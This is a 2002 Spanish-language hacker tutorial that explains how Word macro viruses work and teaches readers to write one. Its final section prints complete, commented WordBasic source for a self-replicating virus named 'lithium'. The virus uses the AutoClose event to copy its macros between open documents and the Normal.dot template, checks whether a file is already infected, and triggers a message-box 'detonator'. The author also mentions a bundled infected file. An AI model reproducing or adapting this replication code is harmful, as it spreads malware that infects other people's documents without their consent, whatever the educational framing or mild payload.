Creación de Macrovirus I
Autor: <+CoOL~ShADoW+> Mail: cool_shadow_1@yahoo.com Fecha: 12/8/02
Índice
1 Introducción
2 Cáracterísticas
2.a ¿Qué es un macrovirus?
2.b Esquema de un virus
2.c Diferencias con un virus
2.d Esquema de un macrovirus
3 Normal.dot
4 Código fuente
1- Introducción
Este documento es creado con el fin de enseñar, lo que se haga con el material expuesto es responsabilidad del lector.
Aclaremos algunas cosas. Si quieres aprender a crear verdaderos virus este no es tu texto. Si piensas que los mejores virus son los que más daño hacen eres un idiota, así que deja de leer. Si no tienes idea de que es la programación y algunas cosas básicas primero aprende lo suficiente porque te será muy difícil entenderlo. Si sabes un poquito de programación y quieres saber como funciona un macrovirus, como se multiplica etc. , sigue leyendo ;) Aclarado esto vamos a ver que es un macrovirus, como funciona, sus diferencias con los verdaderos virus, y como escribir uno.
2 Características
¿Qué es un macrovirus?
La utilidad Word que viene incluida con Micro$of Office soporta un lenguaje (Word Basic) al estilo de Visual Basic pero que no se compila, sino que se ejecuta desde el archivo doc, el código se guarda en el archivo como Macro/s. Las macros algo así como funciones pero también como eventos, es algo raro. Cuando un documento las tiene al abrirse se pregunta si se quiere cargarlas o no por precaución. Esto ya es una barrera muy grande, ya que alguien que no sabe que son no se arriesgará. Lo que hace un macrovirus para reproducirse es copiar estas macros a otros archivos (ya veremos como se hace más adelante). Pero... ¿Cuando infectar? Nombrando la macro para algún evento. Hay varios que puedes usar, los más comunes en lo macrovirus son AutoOpen (cuando se abre un archivo) y AutoClose (cuando se cierra), las demás sería bueno que las aprendieras por ti mismo, también se pueden usar algunos eventos para detonar ciertas partes del macro, pero ese tema no me interesa.
Esquema de un virus
Este esquema es de un programa infectado un virus que utiliza determinado método de infección, no todos son iguales.
Salta a Virus |
Código programa |
Virus |
Condicional a algún evento para detonar |
Salta Buscar archivos |
Buscar archivos |
quedan archivos? Si: salta a Comprueba No: salta a Código programa |
Comprueba |
está infectado? Si: salta Buscar archivos No: salta Infecta |
Infecta |
Copia de Virus en adelante al final del archivo |
Escribe al principio del archivo un salto a Virus |
Cierra el archivo y salta a Buscar archivos |
Diferencias con un virus
Además de la diferencias que hay en cuanto a que un virus puede estar hecho en cualquier lenguaje (normalmente ensamblador por su flexibilidad y porque no se crea código basura) y que es mucho más difícil de detectar hay diferencias en su estructura. Por ejemplo, un virus creado en otros lenguajes puede infectar archivos que se ejecutan. Por ejemplo los PE (portable ejecutable) y las DLL´s (Dinamick Link Library, se cargan en la memoria para ser utilizadas por ciertos programas). En cambio los macrovirus solo pueden infectar sus mismos tipos de archivos. Y la forma en la que infectan tiene una gran diferencia que veremos en el siguiente esquema.
Esquema de un macrovirus
Es más o menos así pero puede variar.
Macro - Evento (ej AutoClose) |
---|
Desde donde se ejecuta el macro? |
Llamada a la función comprobar |
Llamada a Detonar |
Termina AutoClose |
Función comprobar |
Se encuentra la macro Detonar? Si: No hace nada No: copia la macro Detonar y la macro AutoClose |
Macro - Detonar |
Condicionales y comandos para detonar |
Termina Detonar |
Como dije antes, la estructura puede variar un poco y se le pueden poner más eventos para que detonen ciertas partes, por ejemplo al imprimir, al escribir determinado texto, etc. pero la base es esa.
3 Normal.dot
El normal.dot es la plantilla global de word. Esta sirve para guardar macros que siempre vayas a usar. Lo primero que debería hacer nuestro macrovirus es infectar este archivo, de este modo se infectaran todos los demás archivos que abras aunque ya hallas borrado el documento que contenía las macros originalmente. De vez en cuando revisa este archivo por si hay macros raras, si tu no usas macros globales borra este archivo cada tanto para que el word genera uno limpio.
4 - Código fuente
A continuación pondré el código fuente de un macrovirus que hice como ejemplo una explicación de este.
NOTA: por si no sabes como infectar un documento incluí el archivo lithium.doc que ya está infectado. Ábrelo con macros pero recuerda no abrir ningún documento más mientras trabajes con él y luego de cerrarlo borra el normal.dot
Sub Autoclose() `Macro definida como Autoclose
On Error GoTo Ikillyou `Si hay un error salta a Ikillyou que luego llama al detonador del virus
If LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10)) = "normal.dot" Then `Si se ejecuta desde el normal.dot
If dopado = no Then `Llama a la función dopado que se encarga de averiguar si está infectado y si no lo está sigue
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose" `Copia el macro Autoclose desde normal.dot al archivo
WordBasic.MacroCopy "Global:lithium", WordBasic.[FileName$]() + ":litihum" `Copia el macro lithium desde normal.dot al archivo
WordBasic.FileSaveAll 1, 1 `Guarda los cambios
GoTo Ikillyou `Salta a Ikillyou que luego llama al detonador del virus
Else `Si no está infectado no copia nada y salta
GoTo Ikillyou
End If
Else `Si no se ejecuta desde normal.dot
If dopado = no Then `Y no está infectado
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose" `Copia el macro Autoclose desde el archivo a normal.dot
WordBasic.MacroCopy WordBasic.[FileName$]() + ":lithium", "Global:lithium" `Copia el macro lithium desde el archivo a normal.dot
WordBasic.FileSaveAll 1, 0 `Guarda los cambios
GoTo Ikillyou `Salta a Ikillyou que luego llama al detonador del virus
Else `Si no está infectado no copia nada y salta
GoTo Ikillyou
End If
End If
GoTo Ikillyou
Ikillyou: `El famoso salto que tanto pongo ;)
Call lithium `Llamo al macro lithium el cual es el detonador y también me sirve para identificar los archivos infectados
End Sub `Termina Autoclose
Function dopado() `Función que comprueba si un documento está infectado, no comento más porque ya se puede deducir su funcionamiento
dopado = no
If LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10)) = "normal.dot" Then
If WordBasic.CountMacros(0) > 0 Then
For i = 1 To WordBasic.CountMacros(0)
If WordBasic.MacroName$(i, 0) = "lithium" Then
dopado = si
End If
Next i
End If
Else
If WordBasic.CountMacros(1) > 0 Then
For i = 1 To WordBasic.CountMacros(1)
If WordBasic.MacroName$(i, 1) = "lithium" Then
dopado = si
End If
Next i
End If
End If
End Function
Sub lithium() `El famoso detonador
MsgBox "I killed you, I'm not gonna crack" `Que maloso xDD
End Sub
Para la próxima (si la hago) , algunas técnicas interesantes para terminar del todo el tema ;)
Creación de Macrovirus 1 - http://www.disidents.org/